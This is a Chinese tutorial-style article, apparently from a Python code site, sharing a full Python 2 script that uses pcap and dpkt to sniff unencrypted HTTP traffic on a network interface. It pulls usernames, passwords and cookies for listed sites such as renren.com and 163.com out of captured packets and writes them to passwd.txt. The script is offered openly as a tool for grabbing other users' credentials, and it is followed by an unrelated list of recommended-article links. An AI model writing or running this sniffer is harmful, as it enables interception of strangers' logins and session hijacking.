利用Python代码获取web密码程序的脚本源代码分享,达到能够抓取用户名、密码、cookie等信息的方法详解。需要用到 pcap、dpkt两个方法模块,请确认已经安装成功。

python做的web获取解密码程序代码如下:

# -*- coding: utf8 -*-

#!/usr/bin/env python

import pcap

import dpkt

dev='eth0'

filter='tcp dst port 80'

pc=pcap.pcap(dev) #注,参数可为网卡名,如eth0

pc.setfilter(filter) #设置监听过滤器

hostlist=['xiaonei.com', 'renren.com', '163.com', '126.com', 'cublog.cn', 'itlong.com']

file=open('passwd.txt','w')

for ptime,pdata in pc:

#ptime为收到时间,pdata为收到数据

ether=dpkt.ethernet.Ethernet(pdata)

ip=ether.data

tcp=ip.data

content_len=len(tcp)-8

host=''

username=''

password=''

cookie=''

geturl=''

posturl=''

username_pattern=''

password_pattern=''

#Only Process POST Packet

#if tcp.data.find('POST')==-1 or tcp.data.find('GET')==-1:

#www.iplaypy.com

#continue

#Get Host

host_start=tcp.data.find('Host: ')

if host_start != -1:

host_end=tcp.data.find('\r\n', host_start)

if host_end != -1:

host=tcp.data[host_start:host_end]

#print host

else:

continue

else:

continue

#Check host in hostlist

for _host in hostlist:

if host.find(_host)==-1:

continue

else:

print _host

#Get GET URL

geturl_start=tcp.data.find('GET ')

if geturl_start!=-1:

geturl_end=tcp.data.find('\r\n', geturl_start)

if geturl_end!=-1:

geturl=tcp.data[geturl_start:geturl_end]

#print geturl

#Pass picture

if geturl.find('gif')!=-1 or geturl.find('png')!=-1 or geturl.find('jpg')!=-1:

continue;

#Get POST URL

posturl_start=tcp.data.find('POST ')

if posturl_start!=-1:

posturl_end=tcp.data.find('\r\n', posturl_start)

if posturl_end!=-1:

posturl=tcp.data[posturl_start:posturl_end]

#print posturl

#Get Cookie

cookie_start=tcp.data.find('Cookie: ')

if cookie_start!=-1:

cookie_end=tcp.data.find('\r\n', cookie_start)

if cookie_end != -1:

cookie=tcp.data[cookie_start:cookie_end]

#print cookie

#Compute username_pattern

if host.find('xiaonei.com')!=-1 or host.find('renren.com')!=-1:

username_pattern='email='

elif host.find('lilacbbs.com')!=-1:

username_pattern='userid='

elif host.find('sso.itlong.com')!=-1:

username_pattern='login_name='

else:

username_pattern='username='

#Find UserName

username_start=tcp.data.find(username_pattern)

if username_start!=-1:

username_end=tcp.data.find('&', username_start)

if username_end!=-1:

username=tcp.data[username_start:username_end]

#print username

else:

continue

#Find Password

password_start=tcp.data.find('password=')

if password_start!=-1:

password_end=tcp.data.find('&', password_start)

if password_end!=-1:

password=tcp.data[password_start:password_end]

#print password

else:

continue

#Log to file

if host and posturl and username and password:

file.write('-----------------------\n')

file.write(host+'\n')

file.write(posturl+'\n')

file.write(username+'\n')

file.write(password+'\n')

file.flush()

elif host and geturl and cookie:

file.write('-----------------------\n')

file.write(host+'\n')

file.write(geturl+'\n')

file.write(cookie+'\n')

file.flush()

玩蛇网文章,转载请注明出处和文章网址:https://www.iplaypy.com/code/c2652.html

相关文章 Recommend

密码程序python_Python获取web密码程序的脚本源代码相关推荐

  1. Servlet获取Web应用程序的初始化参数

    ServletContext接口 当Servlet启动时,会为每个Web应用创建一个唯一的ServletContext对象 表示当前Web应用,该对象不仅封装了当前Web应用的所用信息,并且实现了多个 ...

  2. 渐进式web应用程序_渐进式Web应用程序简介

    渐进式web应用程序 Interested in learning JavaScript? Get my ebook at jshandbook.com 有兴趣学习JavaScript吗? 在jsha ...

  3. 移动应用程序和网页应用程序_如何开发感觉像本机移动应用程序的渐进式Web应用程序...

    移动应用程序和网页应用程序 by Samuele Dassatti 通过萨穆尔达萨蒂 如何开发感觉像本机移动应用程序的渐进式Web应用程序 (How you can develop Progressi ...

  4. 渐进式web应用程序_渐进式Web应用程序:简介

    如果您从事网站建设业务,那么您可能会越来越多地听到人们谈论渐进式Web应用程序 (PWA). 由Google开发的PWA在吸引用户方面具有网络的所有优势,以及用户可以从本地应用程序获得的速度和可靠性. ...

  5. 渐进式web应用程序_渐进式Web应用程序与加速的移动页面:有什么区别,哪种最适合您?

    渐进式web应用程序 Do you understand what PWAs and AMPs are, and which might be better for you? Let's have a ...

  6. c#创建web应用程序_创建Web应用程序图标集的6个步骤

    c#创建web应用程序 I am not great at creating logos or icons, mainly because of the lack of practice. So wh ...

  7. 渐进式web应用程序_渐进式Web应用程序终极指南

    渐进式web应用程序 Progressive Web Apps, aka PWAs, are the best way for developers to make their webapps loa ...

  8. php小程序支付获取prepay_id,小程序支付流程JSAPI

    整个支付流程, 前端发起请求后端处理 用了整整两天, 各种坑,各种看文档难以理解, 头大 分享下步骤流程心得吧, 第一次接触可能会和我一样有踩坑的, 第一步 uniapp发起支付请求,其实这里第一步只 ...

  9. android 获取程序,Android获取桌面应用程序

    转载请注明出处,谢谢:http://blog.csdn.net/harryweasley/article/details/50057029 首先在看这个博客之前, 你可以先看下这个博客,http:// ...

最新文章

  1. oracle archivelog模式与非archivelog模式转换
  2. 柏堰工业园有做机器人的吗_合肥柏堰科技园推进机器人应用 促产业转型升级...
  3. django项目实战(2)-数据库配置
  4. MongoDB数据库CXX Driver编译
  5. 基于angularjs的单页面实例_【进展综述】单阶段实例分割(Single Stage Instance Segmentation)...
  6. mysql load 忽略错误_mysql load data遇到的两个错误和解决方法
  7. html5swf小游戏源码,亲测可用120个H5小游戏实例源码
  8. python里的平方_python中平方和
  9. android极光富媒体推送,极光推送如何在android客户端接收富媒体
  10. LDO使用之热阻考虑
  11. matlab中根据表格数据画图,excel 表格数据画图-如何利用matlab根据excel表格里面的数据画图...
  12. APP加密,ios代码混淆工具,虚拟化技术 适用于移动应用程序的虚拟化加密软件
  13. Python拆分PPT文件的方法
  14. SQL Server 学习笔记——T-SQL
  15. Mysql 建立外键出错1822 可能原因之一分析 - Failed to add the foreign key constraint. Missing index for constraint
  16. java 控制台实现文本查看,行数可调,回车翻页
  17. 【开发教程1】AI语音人脸识别-开发环境搭建
  18. 尿片与啤酒不得不说的故事
  19. 材料力学-剪力和弯矩方向规定及关系
  20. 服务器系统监控软件有哪些,我司服务器上几个常用的监控工具,俺全瞟来了

热门文章

  1. 浏览器兼容--条件样式,选择符前缀,样式属性前缀(转)
  2. Java消息系统介绍
  3. 单片机小白学步系列(十三) 点亮第一个LED——好的開始,成功的一半
  4. ECMAScript6 规范
  5. json和对象、list互转
  6. dubbo源码分析系列(1)扩展机制的实现
  7. 汽车之家10周年办演唱会,厂商们怎么看?
  8. PHP计算表达式-栈
  9. Lync Server 2013:边缘服务器 -- Set CA Error
  10. Eclipse 的 Tomcat 插件